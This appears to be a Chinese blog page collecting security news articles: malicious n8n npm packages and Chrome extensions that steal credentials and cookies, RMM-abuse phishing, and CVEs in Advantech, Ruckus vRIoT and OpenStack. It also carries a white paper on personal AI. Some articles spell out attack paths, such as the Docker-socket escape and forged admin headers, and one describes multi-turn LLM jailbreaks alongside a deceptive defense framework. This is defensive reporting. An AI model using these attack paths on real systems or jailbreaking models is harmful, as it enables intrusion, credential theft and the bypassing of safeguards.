包含关键字 typecho 的文章

有监测显示,威胁攻击者在 npm 软件包仓库中上传了八个恶意软件包。这些软件包伪装成面向 n8n 工作流自动化平台的集成插件,其真实目的是窃取开发者的 OAuth 身份凭证。
其中一款名为n8n-nodes-hfgjf-irtuinvcm-lasdqewriit的软件包,仿冒了谷歌广告的集成功能。它会诱导用户通过一个看似正规的表单绑定广告账户,随后将用户的 OAuth 凭证窃取并传输至攻击者控制的服务器中。
恩多尔实验室在其上周发布的一份报告中指出:“此次攻击标志着供应链威胁进入了全新的升级阶段。” 与传统的 npm 恶意软件不同 —— 这类软件往往以窃取开发者个人凭证为目标,而此次攻击则直接针对工作流自动化平台。这类平台本身相当于一个集中式凭证存储库,会将谷歌广告、Stripe 支付、Salesforce 客户管理等数十种集成服务的 OAuth 令牌、API 密钥以及敏感凭证统一存储。
目前已被确认并下架的恶意软件包完整名单如下:
  • n8n-nodes-hfgjf-irtuinvcm-lasdqewriit(下载量 4241 次,作者:kakashi-hatake)
  • n8n-nodes-ggdv-hdfvcnnje-uyrokvbkl(下载量 1657 次,作者:kakashi-hatake)
  • n8n-nodes-vbmkajdsa-uehfitvv-ueqjhhhksdlkkmz(下载量 1493 次,作者:kakashi-hatake)
  • n8n-nodes-performance-metrics(下载量 752 次,作者:hezi109)
  • n8n-nodes-gasdhgfuy-rejerw-ytjsadx(下载量 8385 次,作者:zabuza-momochi)
  • n8n-nodes-danev(下载量 5525 次,作者:dan_even_segler)
  • n8n-nodes-rooyai-model(下载量 1731 次,作者:haggags)
  • n8n-nodes-zalo-vietts(下载量 4241 次,作者:vietts_code、diendh)
截至本文撰写时,npm 用户zabuza-momochidan_even_seglerdiendh还被列为另外四款仍可下载的软件包的作者,具体如下:
  • n8n-nodes-gg-udhasudsh-hgjkhg-official(下载量 2863 次)
  • n8n-nodes-danev-test-project(下载量 1259 次)
  • @diendh/n8n-nodes-tiktok-v2(下载量 218 次)
  • n8n-nodes-zl-vietts(下载量 6357 次)
目前尚无法确认这四款软件包是否包含类似的恶意功能。不过,逆向实验室通过 Spectra Assure 工具对前三款软件包进行的安全评估显示,其暂未发现安全隐患;而针对n8n-nodes-zl-vietts的分析结果则显示,该软件包中包含一个曾被标记为恶意软件的组件。

值得警惕的是,软件包n8n-nodes-gg-udhasudsh-hgjkhg-official的更新版本在三小时前刚刚发布至 npm 仓库,这一迹象表明,攻击者的此次攻击活动可能仍在持续
这类恶意软件包一旦作为社区节点完成安装,其外在表现与其他任何一款 n8n 集成插件无异 —— 会正常显示配置界面,并将谷歌广告账户的 OAuth 令牌以加密形式保存至 n8n 的凭证存储库。但当工作流开始执行时,它会运行恶意代码,利用 n8n 的主密钥对存储的令牌进行解密,随后将这些凭证窃取并外传至远程服务器。
这一攻击事件的出现,标志着供应链威胁首次明确将 n8n 生态系统作为攻击目标。攻击者正是利用了用户对社区集成插件的信任,进而实现其窃取凭证的目的。
此次事件也凸显出一个核心安全隐患:集成来源不可信的工作流,会大幅扩大企业的攻击面。研究人员建议,开发者在安装任何软件包前都应进行安全审计,仔细核查软件包的元数据是否存在异常,并优先使用 n8n 官方提供的集成插件。
n8n 官方同样发出警告,提醒用户警惕来自 npm 仓库的社区节点所带来的安全风险。这类节点可能会引入破坏性更新,或在服务运行的主机上执行恶意操作。官方建议,对于自托管的 n8n 实例,可通过将环境变量N8N_COMMUNITY_PACKAGES_ENABLED设置为false的方式,禁用社区节点功能。
研究人员基兰・拉吉与亨里克・普拉特指出:“社区节点拥有与 n8n 主程序完全等同的访问权限。它们可以读取环境变量、访问文件系统、发起对外网络请求,而最关键的一点是,它们能在工作流执行过程中获取到已解密的 API 密钥与 OAuth 令牌。节点代码与 n8n 运行时环境之间,不存在任何沙箱隔离机制。”
“正因如此,一款恶意 npm 软件包就足以让攻击者深度窥探目标系统的工作流、窃取各类凭证,并且在不触发即时警报的情况下实现对外通信。对于攻击者而言,npm 供应链已成为他们潜入 n8n 环境的一条隐蔽且高效的入侵通道。”

更新补充

在接受《黑客新闻》采访时,恩多尔实验室证实,npm 软件包n8n-nodes-gg-udhasudsh-hgjkhg-official确实为恶意软件,且属于此次攻击活动的一部分;其余三款软件包则被判定为良性。

新加坡网络安全局(CSA)已就研华(Advantech)IoT 产品线中一个极具破坏性的漏洞发布高优先级警报。该漏洞编号为 CVE-2025-52694,CVSS 评分高达 10.0(满分),表明其属于需要管理员立即处理的严重威胁

该漏洞为 SQL 注入漏洞。根据安全公告,成功利用后可使 “未授权远程攻击者执行任意 SQL 命令”。

这意味着,如果受影响的服务暴露在互联网上,攻击者无需用户名或密码即可发起攻击。他们只需向数据库发送恶意命令,就可能窃取敏感数据、修改系统配置,甚至完全控制整个相连的 IoT 基础设施。

该漏洞由 HCMUTE 信息安全俱乐部的 Loi Nguyen Thang 先生发现,并与研华及新加坡网络安全局合作进行了协调披露。
漏洞影响研华 IoT 生态系统的多个组件,尤其是较旧版本的管理和边缘软件。受影响的产品包括:
  • IoTSuite SaaSComposer:3.4.15 之前的版本
  • IoTSuite Growth Linux docker:V2.0.2 之前的版本
  • IoTSuite Starter Linux docker:V2.0.2 之前的版本
  • IoT Edge Linux docker:V2.0.2 之前的版本
  • IoT Edge Windows:V2.0.2 之前的版本
官方建议用户和管理员立即更新到最新版本以关闭此安全缺口。不同产品的更新方式如下:

・手动申请:

IoTSuite SaaSComposer、IoTSuite Growth Linux docker 和 IoT Edge Windows 的用户必须直接联系研华技术支持,以获取官方修复版本。

・直接下载:

IoTSuite Starter Linux docker 和 IoT Edge Linux docker 的更新可通过研华官方渠道直接下载。

大语言模型已成为各行业的核心工具,覆盖医疗健康到创意服务等多个领域,彻底革新了人类与人工智能的交互模式。
但这种快速的规模化应用,也暴露出该技术存在的重大安全漏洞。越狱攻击—— 一类专为绕过模型安全机制设计的复杂攻击手段,正对大语言模型的安全落地部署构成日益严峻的威胁。
这类攻击会操控模型生成有害、不道德或具有恶意的内容,引发的严重后果涵盖虚假信息传播、诈骗实施乃至恶意滥用等多个层面。
当前主流的防御方案,通常依赖内容过滤、监督式微调等静态防护机制。
然而面对日趋复杂的多轮越狱攻击策略,这些传统方法逐渐难以招架。在这类攻击中,攻击者会在多轮对话过程中逐步升级攻击手段,诱导模型突破安全限制。
现有防御体系缺乏应对不断演变的对抗性攻击所需的动态适配能力,导致系统极易被这类基于对话的复杂攻击方式所利用。这一防御短板凸显出行业的迫切需求:需要打造更具适应性与前瞻性的防御方案,以应对层出不穷的新型威胁。
上海交通大学、伊利诺伊大学厄巴纳 – 香槟分校及浙江大学的分析师与研究人员,提出了一款名为蜜罐陷阱(HoneyTrap)的防御框架,为该领域带来了突破性的解决方案。
这款框架采用了与传统方案截然不同的越狱防御思路,其核心是构建一个多智能体协同系统 —— 它不会简单地直接拦截攻击请求,而是通过策略性欺骗手段主动误导攻击者,从而达成防御目的。

蜜罐陷阱(HoneyTrap)的架构集成

蜜罐陷阱框架整合了四个各司其职的专业防御智能体,各组件协同运作形成完整防御链路:
  1. 威胁拦截器(Threat Interceptor):作为防御体系的第一道防线,它会策略性地延迟响应速度以拖慢攻击者节奏,同时返回模糊不清的应答内容,确保不会泄露任何可被利用的有效信息。

  1. 误导控制器(Misdirection Controller):生成表面看似有用的欺骗性回复,巧妙诱导攻击者产生 “攻击正在推进” 的错觉,却始终无法获取关键信息。
  2. 系统协调器(System Harmonizer):承担全局调度职能,基于对攻击进展的实时分析,动态调整防御强度,实现防御策略的灵活适配。
  3. 取证追踪器(Forensic Tracker):持续监控所有交互过程,捕捉攻击者的行为模式,识别新型攻击特征,进而优化迭代防御策略。
实验验证结果表明,该框架的防御效果十分显著。在 GPT-4、GPT-3.5-turbo、Gemini-1.5-pro 以及 LLaMa-3.1 四款主流大语言模型上的测试显示,与现有防御方案相比,蜜罐陷阱能将攻击成功率平均降低 68.77%

尤为关键的是,这款框架能够大幅消耗攻击者的资源成本。

测试数据显示,其误导成功率提升了约 118%,同时攻击者的资源消耗增加了 149%。这些数据充分说明,蜜罐陷阱并非简单地拦截攻击,而是在不影响合法用户服务体验的前提下,策略性地消耗攻击者的资源。

该系统在正常对话场景下能够维持高质量的响应水准,在保障用户体验的同时,同步强化安全防御能力。
这一双重优势,让蜜罐陷阱成为一套务实且可落地的解决方案,能够帮助各类机构抵御不断演变的越狱攻击威胁。

安恒实验室安全情报中心(ASEC)在一份新报告中发出警示,称威胁攻击者正出现一种新型攻击趋势 ——劫持功能强大的远程监控管理(RMM)软件以侵入受害者网络。攻击者通过滥用 Syncro、SuperOps、NinjaOne 以及 ScreenConnect 等受信任工具,绕过安全检测雷达,在受感染系统上建立持久化远程控制权限。
这一轮攻击活动至少自 2025 年 10 月起便处于活跃状态,其攻击链路的核心伪装手段,是从一份看似无害的 PDF 文件开始。
攻击的起始环节是典型的钓鱼诱饵:受害者会收到携带 PDF 附件的钓鱼邮件,附件名称往往带有紧急属性,例如《产品缺陷订单.pdf》《发票明细.PDF》《视频付款异常.pdf》等。
但这些文件本质上都是诱饵。报告中提到:“当用户打开这份 PDF 文档时,会被引导点击一个谷歌云端硬盘链接”。文档会显示 “加载失败” 的提示,进而诱导用户访问一个外部网站 —— 该网站通常会伪装成 Adobe 的官方页面,以此骗取用户信任,让其点击查看内容。
安恒实验室安全情报中心的分析人员指出:“这一行为表明,威胁攻击者正通过仿冒 Adobe 的方式,让用户误以为自己正在下载一份合法的 PDF 文件”。
一旦用户点击该链接,下载到本地的并非传统意义上的病毒,而是一款合法的、或经过轻微篡改的企业级远程监控管理软件安装程序。这类工具的设计初衷,是供 IT 管理员对计算机进行远程运维管理,如今却被攻击者当作 “就地取材式” 攻击武器。它们带有正规数字签名,往往能被杀毒软件信任,且默认具备强大的远程访问能力。
报告着重强调:“威胁攻击者分发的 PDF 文件,会诱导用户从伪装的分发页面下载并运行这款远程监控管理工具”。
此次攻击活动中被武器化的具体工具包括:
  • Syncro
  • SuperOps
  • NinjaOne
  • ScreenConnect
从对攻击下载器的分析结果来看,这轮攻击的技术成熟度颇高。已监测到的一个 NinjaOne 下载器样本,是基于 **Nullsoft 脚本安装系统(NSIS)** 开发的。
报告指出:“该下载器由 NSIS 开发而成,其内置的 NSI 脚本中包含一条用于下载额外载荷的命令”。它会在用户不知情的情况下,从恶意域名anhemvn124.com获取远程监控管理工具的代理程序,并自动完成静默安装。
恶意软件的开发者甚至留下了可供追溯的数字线索。用于为恶意文件签名的证书显示,这类攻击活动至少从 2025 年 10 月起就已持续开展
这类攻击的检测难度极大,原因在于其最终投放的载荷,通常是一款被数千家正规企业广泛使用的、合法且经过签名的应用程序。安恒实验室安全情报中心建议用户,应对 PDF 文件中出现的任何 “加载失败” 提示保持高度警惕,同时务必核实任何来历不明的发票类邮件的发件人信息。
“在打开来自未知发件人的邮件时,用户必须格外谨慎。核实发件人是否可信、不点击可疑链接或附件,这两点至关重要”。
报告同时敦促各类组织机构,需加强对未经授权的远程监控管理软件安装行为的监测,并阻断与这类攻击分发活动相关的已知恶意域名访问。

一对高危安全漏洞在 Ruckus vRIoT IoT Controller 中被披露,该设备是企业 IoT 设备管理的核心中枢。两个漏洞的 CVSS 评分均为满分 10.0,意味着它们不仅易于利用,而且可能导致系统被完全接管
这两个漏洞编号为 CVE-2025-69425CVE-2025-69426,根源都在于内部认证机制存在严重缺陷。开发者在代码中留下了硬编码密钥,攻击者可利用这些密钥绕过安全限制并获取 root 权限
漏洞影响 3.0.0.0(GA)版本之前的所有 Ruckus vRIoT IoT Controller 固件

CVE-2025-69425:端口 2004 后门

第一个漏洞涉及一个监听在 TCP 2004 端口 的命令执行服务。该服务以 root 权限运行,因此成为极高价值的攻击目标。
虽然该服务名义上实现了认证机制,但机制本身存在根本性缺陷:它依赖一个硬编码的基于时间的一次性密码(TOTP)密钥以及一个嵌入式静态令牌。由于这些密钥被硬编码在设备固件中,攻击者只要提取到它们(通过攻陷设备或分析固件),就能随意生成有效的令牌
一旦获得这些令牌,攻击者即可连接到 2004 端口,并以 root 身份执行任意操作系统命令,从而完全控制整个控制器。

CVE-2025-69426:SSH Docker 逃逸

第二个漏洞堪称 “部分限制如何彻底失效” 的典型案例。漏洞源于初始化脚本中发现的一个操作系统用户账户的硬编码凭据

虽然该账户的 SSH 配置试图限制访问(禁用 SCP 和伪终端分配),但它仍在网络上留下了可被利用的入口。攻击者可使用硬编码凭据通过 SSH 登录,并建立本地端口转发
攻击路径设计巧妙:

认证:使用硬编码凭据登录。

隧道:通过 SSH 端口转发访问内部的 Docker 套接字

逃逸:通过隧道发送 Docker 命令,攻击者可将主机的文件系统挂载到一个新容器中。

接管:在该容器内,攻击者可以修改主机操作系统,从而成功突破沙箱限制,并在底层 vRIoT 控制器上以 root 权限执行命令

修复建议

对于任何暴露在公网的控制器来说,这些漏洞都是 “一击致命” 级别的。Ruckus 已在 固件版本 3.0.0.0(GA) 中修复了这两个问题。官方强烈建议管理员立即升级,以移除硬编码凭据并关闭这些攻击路径。

科技云报道原创。

 

“早上好”!清晨,AI助手悦耳的声音传达到你耳边,还推荐了适合你体重管理的早餐;上班路上,智能汽车自动规划了最佳路线,还能接着帮你整理昨晚没完成的工作文档;工作时,AI能跨设备帮你总结会议重点,生成个性化的周报……这些不再是科幻电影的场景,而是未来我们每个人都会经历的日常。

 

过去三年,AI的发展主要是比谁的模型参数更大、技术更硬。

 

 

从2022年生成式AI的火爆,到2025年产业开始转向,AI不再是偶尔用一用的“公共工具”,而是变成了像朋友一样常驻在我们电脑、手机、平板、眼镜等设备里的“长期伙伴”。

 

一个关键问题也随之而来:AI该归平台管,还是属于我们每一个人?近日,联想与IDC发布了国内首份《个人AI产业定义、产业架构与发展趋势白皮书》,该白皮书立足未来视角,对“真正属于每一个人”的个人AI进行前瞻性展望,并深入阐述个人AI崛起将引发的产业结构性变革。

 

 从“通用工具”到 “智能双胞胎”

 

报告预测,2026年将成为“个人AI元年”,全球生成式AI消费者将突破50亿。

 

这场变革不只是技术升级,更是“人工智能+”在我们普通人身边的深度落地,它基于“以人为中心”的核心想法,重新定义我们工作生活的方式。

 

过去三年,像ChatGPT这样的公共AI确实让更多人用上了AI,但也暴露了不少麻烦。

 

公共AI以商业平台为核心,我们想用好服务,就得交出自己的数据、隐私,还得放弃一部分控制权。

 

而且它的服务是“一刀切”,满足不了每个人的个性化需求,还存在跨平台用着不方便、响应慢等问题。

 

与此同时,我们对AI的需求也在悄悄改变。报告显示,2025年国内用户提到“安全隐私保护”的比例涨到了43%,超过65%的智能终端用户在使用AI Agent时,最关心“个人数据安全与隐私保护”,高于功能性、易用性等其他因素,同时对个性化服务的需求占比达35%。

 

报告预计,到2028年,服务型AI的市场规模会达到270亿美元,每年的增长率超过60%,扩张速度远高于工具型AI应用。

 

随着用户隐私数据越积越多、全场景智能需求爆发,AI产业正从“平台说了算”转向“围着个人需求转”。

 

如果说用户需求的改变是个人AI发展的前提,那终端设备算力的提升、混合大模型的成熟、隐私计算技术的突破,就给个人AI的实现提供了可能。

 

而终端厂商和平台的实践探索,让这种“专属”的智能体验从想法变成了现实。

 

个人AI的崛起,是一场大变革。从“平台掌控”到“个人做主”,从“你问它才答”到“主动懂你”,从“单纯工具”到“贴心伙伴”。

 

它不再是为商业目标服务的通用产品,而是真正属于你、帮你把利益最大化的“智能分身”,这种转变已经成了AI产业发展的重要趋势。

 

联想集团副总裁、中国区战略及业务拓展副总裁阿不力克木·阿不力米提(以下简称“阿木”)认为,最终会走向每一个人都能拥有一个双胞胎般的超级智能体,它就是个人的一个分身,是一个伴侣和伙伴,甚至是个人的代表。

 

 

联想集团副总裁、中国区战略及业务拓展副总裁 阿不力克木·阿不力米提

 

“以人为中心”的 个人超级智能体

 

报告认为,个人AI作为“以人为中心”的个人超级智能体,要实现从“工具”到“伙伴”的跨越,不仅需要具备跨平台开放连接的能力,能够以一个身份打通不同平台、不同设备、不同系统,从而实现无缝自由切换使用。

 

同时,还要让AI终端与个人云混合架构及混合大模型进行深度融合,通过构建基于个人AI主权的可信安全体系,找到个人隐私与应用效率的最佳平衡。

 

多模态感知与纯自然交互是个人AI的基础。它突破传统输入式交互局限,通过语音、肢体动作、神态、情绪等自然载体,结合图像输入、眼球追踪、环境捕捉等技术,实现从“看见输入”到“理解人类”的转变。

 

全时记忆与全域知识则解决了“跨场景失忆”的痛点。全时记忆能跨设备、跨时间沉淀用户习惯与偏好,通过“记录-强化-遗忘”的动态机制,形成可持续演化的个体化记忆体系;全域知识则整合分散在不同设备、应用中的笔记、日程、资料等信息,构建可检索、可复用的专属知识库。

 

全意图理解与自主规划执行,让AI真正“帮你做事”。它不仅能理解明确需求,还能基于长期画像预测潜在意图,将复杂任务拆解为可落地的行动步骤,跨终端协同执行。

 

持续学习与演进让AI与用户共同成长。通过日常交互反馈、记忆积累,结合轻量化模型适配技术,个人AI能不断贴近用户偏好。

 

用户可通过升级终端、订阅云服务提升其算力与能力,日常使用即等同于训练,使智能体成为持续增值的个人资产。

 

端云混合架构实现了隐私与效率的平衡。个人AI在终端部署“本地大脑”,处理隐私敏感任务与即时响应,保障数据安全与低时延,云端则承接复杂算力需求与全域知识库,通过可信个人云实现能力扩展。

这种“端侧守护隐私、云端赋能高效”的模式,让用户既能享受智能服务,又无需担忧数据泄露。

 

与公共AI通用体验不同,个人AI突破了单一厂商“生态围墙”,可在Windows、安卓、iOS等系统及不同芯片间自由切换,调用多厂商、多场景的服务与能力。无论是办公软件、娱乐应用,还是智能硬件、垂直领域服务,都能被统一调度,实现工作、学习、生活场景的无缝衔接。

 

如果说,公共AI连接的是每一个商业帝国的边界,那么个人AI就是由用户全权掌控,数据、算法、算力全部归个人所有,个人可自由处置、迁移、删除、管理个人数据、使用边界与智能体行为规则。

通过端云一体机密计算、抗量子加密、行为审计等技术,实现“数据可用不可见、行为可控可追溯”,让用户敢于向AI敞开生活与工作的全场景。

 

阿木表示,不论是联想还是其他公共AI开发者,都越来越有一个共识,个人AI将是未来下一个阶段创新和普惠的关键方向。

 

个人AI催生的新型生产关系

 

在公共AI时代,产业格局都是围着“平台”转,平台掌握着流量分配权,应用厂商得靠平台的接口和流量才能找到用户,用户也只能在单个平台的“围墙”里来回切换工具。

 

个人AI的崛起,正用“智能体调度”替代“平台分发”,掀起一场产业架构的大重构,让整个AI生态从“平台为中心”变成“用户为中心”,形成全新的运行逻辑。

 

在此过程中,终端厂商、应用开发者、技术提供商的角色与竞争焦点均被重新定义。

全场景整合商成将成为生态核心。以联想为代表的全场景整合商,其核心价值将由交付软件应用和硬件终端转为交付“智能体+终端+个人云”一体化体验。

 

智能体作为“数字分身”承载用户记忆与偏好,终端提供实时感知与物理执行能力,个人云通过可信加密支撑复杂算力需求,三者协同实现“端侧护隐私、云端提效率”的无缝服务。

 

应用从“独立APP”变成了“可调用的模块”。以前的独立软件被拆成标准化的能力单元,通过接口接入智能体生态。

 

个人AI能根据你的需求,自动组合这些模块,形成“提需求-执行-给反馈”的闭环,不用再频繁切换APP,让应用真正回归“解决问题”的本质。

模型、算力、安全组件化升级。模型被拆解为推理、感知等标准化模块,按需调用端云模型。

 

算力形成“端云协同”体系,端侧保障低时延隐私计算,云端承接大规模算力需求。安全能力贯穿全链路,以硬件加密、隐私计算等组件筑牢数据安全防线。

 

公共AI时代,终端是“流量入口”,竞争聚焦芯片算力、屏幕分辨率等硬件参数。个人AI时代,终端升级为“数据主权+智能体应用”的融合体,核心竞争力转向硬件、系统、智能体的全栈整合能力。

 

这种AI整合能力,是硬件、系统、智能体的全栈协同能力,而非单一技术的堆砌。

 

硬件层面需适配智能体运行需求,集成低功耗NPU、高速本地存储、多模态传感器等硬件模块,确保智能体“跑得动、跑得久、跑得安全”。

 

系统层面需重构资源调度逻辑,摒弃“以OS为中心”的传统模式,转为以智能体需求为核心,动态调配CPU、GPU、存储等资源,支持跨设备任务无缝迁移。

 

智能体层面需深度融入终端生态,实现与硬件能力的精准适配、与个人云的安全协同,以及与生态服务的高效联动。

 

由此,终端厂商的竞争力不再取决于单一硬件参数的强弱,而在于能否通过全栈整合,为用户提供“安全可控、无缝协同、持续进化”的智能体验。

 

作为个人AI的代表,联想天禧AI生动诠释了个人AI时代“智能体调度”与“全栈整合”的产业新逻辑,其“一体多端”的架构设计,成为未来个人AI的标杆形态。

 

“一体”,是指以天禧个人超级智能体为核心的统一智能中枢,它打破了设备与平台的界限,承载用户的全时记忆与全域知识,具备多模态感知、全意图理解、自主规划执行等核心能力。

 

天禧AI采用端云混合架构,本地集成天禧模型,云端联动豆包、Deepseek等模型,将感知、理解、记忆、规划、调度五大能力在终端、个人云、公有MaaS间合理分布、动态优化,既保证隐私安全,又具备强大的算力支撑。

“多端”则意味着智能体可无缝融入AIPC、AI手机、AI平板、智能穿戴设备等全场景终端,实现跨设备协同与任务接续。

 

天禧AI的核心竞争力,正是联想全栈AI整合能力的体现。硬件层面,AIPC、AI手机等终端集成专属NPU与传感器,为智能体提供高效运行基础。

 

系统层面,通过超级互联技术与资源调度优化,实现跨设备无缝协同。智能体层面,深度整合端云模型与生态服务,成为用户的“智能双胞胎”。

 

未来的个人AI不再是孤立的工具,而是以“一体多端”的超级中枢形态存在,通过智能体调度整合全场景资源,为用户提供“以人为中心”的个性化、安全化、无缝化智能服务

 

 

 

个人AI一个新的里程碑

 

IDC预测显示,个人AI将在2026年进入规模化爆发期,终端市场、用户规模、应用场景将迎来全方位增长,开启智能经济的新篇章。

 

这场产业变革中,竞争焦点已从单一硬件或技术,转向“以用户为中心”的协同体验。

 

全场景整合商主导生态搭建,应用开发者聚焦能力模块化,技术提供商推动组件化升级,各方协同构建开放共赢的新生态。这场重构将彻底改变AI产业的运行逻辑,让智能服务真正回归个体需求本身。

从公共AI到个人AI,这场变革的核心是“人”的回归,让智能服务于每一个个体,让每个人都能拥有专属的“认知外脑”与“行动分身”。

 

移动办公、教育、健康管理将成为个人AI的核心赛道。家居控制、娱乐互动、智能出行等场景也将快速渗透,形成全场景智能服务生态,让个人AI真正融入生活的每一个角落。

 

2026年,个人AI的爆发将成为AI产业一个新的里程碑。我们将进入一个人机共生、协同进化的新时代。个人AI从尝鲜走向规模化落地,不是一家企业的独角戏,而是全产业的协同共建。

当AI真正属于每一个人,一种崭新的生活方式将由此开启。

 

【关于科技云报道】

专注于原创的企业级内容行家——科技云报道。成立于2015年,是前沿企业级IT领域Top10媒体。获工信部权威认可,可信云、数博会、国家网安周与全球云计算等大型活动的官方指定传播媒体之一。深入原创报道云计算、人工智能、大模型、网络安全、大数据、区块链等企业级科技领域。

 

OpenStack 云基础设施项目中一个重大安全漏洞已被修复,该漏洞位于其身份认证中间件中。漏洞编号为 CVE-2026-22797,属于权限提升漏洞,允许已通过认证的普通用户欺骗系统,使其获得管理员权限或冒充其他用户。
问题出在 keystonemiddleware 中,这是 OpenStack 服务中负责处理身份验证令牌的关键组件。
该漏洞特别影响使用 external_oauth2_token 中间件 的部署。在安全的系统中,内部身份验证头(用于告诉后端用户是谁、能做什么)应该由系统本身严格管理。然而,该中间件在处理 OAuth 2.0 令牌之前没有清理传入的身份验证头
这一疏忽为伪造身份创造了危险机会。由于系统没有清除这些输入,“通过发送伪造的身份头,例如 X-Is-Admin-Project、X-Roles 或 X-User-Id,已认证的攻击者可能提升权限或冒充其他用户。”
本质上,攻击者只需通过注入 X-Is-Admin-Project 头就可以 “申请” 成为管理员,而系统会把它当成真实的。公告指出,这之所以可能,是因为中间件 “只在特定条件下设置某些头…… 当条件不满足时,伪造的值会保持不变”。
该漏洞影响以下特定版本范围的 Keystonemiddleware:
  • 版本 >=10.0.0 且 <10.7.2
  • 版本 >=10.8.0 且 <10.9.1
  • 版本 >=10.10.0 且 <10.12.1
公告警告:“所有使用 external_oauth2_token 中间件的部署都受到影响。”
该漏洞由 Red Hat 的 Grzegorz Grasza 报告。作为回应,OpenStack 团队已在多个发布分支发布补丁,包括 Caracal(2024.1)、Dalmatian(2024.2)、Epoxy(2025.1)、Flamingo(2025.2)和 Gazpacho(2026.1)。
云管理员被强烈建议立即应用这些补丁,以确保 OpenStack 环境正确验证用户身份,而不是盲目信任收到的请求头。


美国一家联邦实验室正致力于让威胁仿真流程变得更高效,以便安全团队能够更快地测试其系统是否能抵御最新的攻击。
据太平洋西北国家实验室(PNNL)的研究团队称,一个名为 ALOHA(Agentic LLMs for Offensive Heuristic Automation) 的人工智能系统可以快速重建攻击并生成变体来测试防御。PNNL 数据科学家、ALOHA 研究负责人 Loc Truong 表示,通过让系统能够根据威胁报告和描述自动生成攻击,PNNL 将保护系统的时间从数周缩短到了数小时
他说,其目标是让测试防御是否能应对最新攻击的过程变得尽可能高效。
“我们希望能够拿到一个新发现的攻击,然后迅速复制它,并在内部系统防御上进行测试,看看它们是否能检测到这种新攻击。”Truong 说,“每个团队,每个大型组织,都必须经历这个过程:首先重建攻击,而这通常需要一支熟练的工程专家团队、几周时间,以及大量资金。”
ALOHA 并不是第一个利用 AI 来提高攻击生成效率的攻击性安全项目。AI 系统的使用已经迅速演变成攻击者与防御者之间的军备竞赛。安全研究人员警告说,所有主要的基础 AI 模型 —— 从 Anthropic 的 Claude、OpenAI 的 ChatGPT、Google 的 Gemini,到 xAI 的 Grok—— 不是已经被攻击者使用,就是存在可能被攻击者利用的弱点。

PNNL 还指出,在一年一度的 DEF CON 夺旗赛(CTF)中,每支参赛队伍都将 AI 作为其工具包的一部分;而 Google 也发现证据表明,恶意软件作者正在开发能在运行时调用大语言模型(LLM)的程序,以更好地隐藏其恶意本质

防御性 AI 系统可能会改变攻防力量的平衡。

在发现新攻击后,网络安全研究人员通常会发布一份威胁报告,其中包含漏洞利用的描述、受影响软件的细节,甚至可能包括攻击者使用的技术、工具和流程(TTPs)。组织的安全团队会分析这份报告,但要创建一条足够接近真实威胁、可用于测试防御的攻击链,往往需要几天到几周的时间。
ALOHA 项目的网络安全研究员 Kris Willis 表示,将 ALOHA 引入流程可以帮助组织的 紫队(Purple Team) 工作更有效。
相关报道:委内瑞拉军事行动中可能包含网络攻击
“你不仅能进行攻击模拟,还能同时开展防御工作,” 他说,并补充道,虽然有不少工具可以帮助安全团队分析攻击,但将 TTP 与攻击者进行匹配的工具并不常见。“最难的部分是开发 TTP,然后与防御团队合作编写缓解措施。”
ALOHA 不仅能分析威胁报告并生成攻击者最可能使用的 TTP 攻击手册,还能在测试网络、仿真环境或网络靶场中测试这些攻击。此外,该 AI 系统还能帮助为系统弱点编写缓解措施,并协助配置防御系统,以便在攻击正在进行时更好地提醒组织。
ALOHA 使用 Anthropic 的 Claude 大语言模型,并与 MITRE 的开源工具 Caldera 协同工作,Caldera 常用于自动化对手仿真、测试和开发防御检测、原型设计、攻击研究以及红队训练。研究人员表示,借助该系统,安全团队可以快速构建包含 20 多种战术、需要数十个步骤的攻击仿真。
“你用简单的英文描述你想要的攻击,生成式 AI 就会自动运行攻击,”Truong 在 ALOHA 的在线介绍中说。“这项技术加快了防御者的响应速度,使网络安全专家不必亲自执行那么多操作。只需点击即可运行。”
相关报道:不再唱反调:对 AI 的怀疑正在上升

超越 “我是否存在漏洞?”

Aviatrix(一家专注于 AI 的云网络安全公司)的首席产品策略经理 Benson George 表示,MITRE Caldera 的用户会发现使用 ALOHA 的过程相当简单。该公司已经在使用 Caldera 进行对手仿真,并计划尝试这个新框架,尤其是如果它能改善开源框架中一些较繁琐的部分。
“红队很可能会成为重度用户 —— 我们这边肯定会用,” 他说。“它是对 Caldera 的补充。Caldera 是一个很棒的工具,但它非常耗时,而且对细节要求极高。”
Willis 表示,最终,PNNL 研究团队希望让 AI 对更多类型的组织有用,而不仅仅是高级安全团队。
“关键在于优化防御,” 他说,并指出当前的集成使该工具能够完成整个攻击仿真和防御缓解周期。“它先运行攻击能力,然后回头查看防御工具,接着制定防御对策,再重新运行攻击,看看防御工具是否能检测到它。”

网络安全研究人员发现了五款新的恶意 Google Chrome 浏览器扩展,它们伪装成人力资源(HR)和企业资源计划(ERP)平台(如 Workday、NetSuite 和 SuccessFactors),以劫持受害者账户
“这些扩展协同工作,窃取身份验证令牌,阻断安全响应能力,并通过会话劫持实现完全账户接管。”Socket 安全研究员 Kush Pandya 在周四的报告中表示。
这些扩展的名称如下:
  • DataByCloud Access(ID: oldhjammhkghhahhhdcifmmlefibciph,发布者:databycloud1104)——251 次安装
  • Tool Access 11(ID: ijapakghdgckgblfgjobhcfglebbkebf,发布者:databycloud1104)——101 次安装
  • DataByCloud 1(ID: mbjjeombjeklkbndcjgmfcdhfbjngcam,发布者:databycloud1104)——1,000 次安装
  • DataByCloud 2(ID: makdmacamkifdldldlelollkkjnoiedg,发布者:databycloud1104)——1,000 次安装
  • Software Access(ID: bmodapcihjhklpogdpblefpepjolaoij,发布者:Software Access)——27 次安装
截至撰写时,除 Software Access 外,其他四款均已从 Chrome 应用商店下架。尽管如此,它们仍可在 Softonic 等第三方软件下载网站获取。这些插件被宣传为 “生产力工具”,声称能提供 Workday、NetSuite 等平台的 “高级功能访问权限”。其中 DataByCloud 1 和 DataByCloud 2 最早发布于 2021 年 8 月 18 日。
尽管使用了两个不同的发布者,但基于完全相同的功能和基础设施模式,研究人员判定这是一场协同攻击活动。攻击流程包括:将 Cookie 窃取到攻击者控制的远程服务器、通过操纵 DOM 树阻止安全管理页面访问、以及通过 Cookie 注入实现会话劫持。
安装后,DataByCloud Access 会请求对 Workday、NetSuite 和 SuccessFactors 域名的以下权限:cookies、management、scripting、storage 和 declarativeNetRequest。它还会收集指定域名的身份验证 Cookie,并每 60 秒发送到 “api.databycloud [.] com”。
“Tool Access 11(v1.4)通过清空页面内容并跳转到无效 URL,阻止用户访问 Workday 中的 44 个管理页面。”Pandya 解释说。“该扩展会阻断身份验证管理、安全代理配置、IP 范围管理和会话控制界面。”
